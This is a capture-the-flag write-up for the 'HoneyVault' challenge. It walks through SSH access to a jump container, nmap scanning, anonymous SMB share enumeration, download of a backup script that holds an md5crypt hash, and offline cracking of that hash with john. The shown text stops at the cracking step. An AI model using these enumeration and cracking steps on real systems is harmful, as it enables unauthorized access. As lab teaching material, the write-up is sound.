HoneyVault — avitoctf

Description

We penetrated one server of HoneyVault, a honey production/storage company. Backups, integrity checks, and old-data cleanup are handled by AegisHive Processor. Gain access to the storage server, breach the administration system, and obtain /root/flag.txt.

The supplied SSH account lands in an analyst container. The objective is to move laterally to the storage container and turn AegisHive's privileged backup operation into a root-file disclosure.

Analysis

1. The analyst container is only a jump host

The SSH service rejects exec-channel commands such as:

ssh [email protected] id

with Sorry, no commands allowed. Just 'ssh user@host' please. An interactive PTY works:

ssh -tt [email protected]
# Password: use the challenge-supplied badger password

Inside hv-analyst-01, the account has unrestricted container-local sudo:

$ sudo -n -l
User badger may run the following commands on hv-analyst-01:
    (ALL) NOPASSWD: ALL

The host is a minimal Docker container, and /root/flag.txt is absent. Root here therefore provides network visibility and tooling, not the objective itself.

2. Anonymous SMB leaks a reusable credential

Docker DNS resolves the storage service as hv-storage-01; using this name avoids relying on an instance-specific container address. A focused scan shows SSH and SMB:

sudo nmap -n -Pn -sT -sV -p22,139,445 hv-storage-01

22/tcp  open  ssh
139/tcp open  netbios-ssn
445/tcp open  netbios-ssn

The Samba server permits a null session and exports data:

smbclient -N -L //hv-storage-01
smbclient -N //hv-storage-01/data
smb: \\> recurse ON
smb: \\> prompt OFF
smb: \\> ls
smb: \\> get admin/linux/remote-backup.sh remote-backup.sh

The downloaded /data/admin/linux/remote-backup.sh contains the operator account's md5crypt hash:

$1$lp9yekC1$OhCfwi88S6riHT9rovIqy0

Save it and crack it offline with rockyou:

printf '%s\n' '$1$lp9yekC1$OhCfwi88S6riHT9rovIqy0' > operator.hash
john --wordlist=/path/to/rockyou.txt operator.hash
john --show operator.hash

...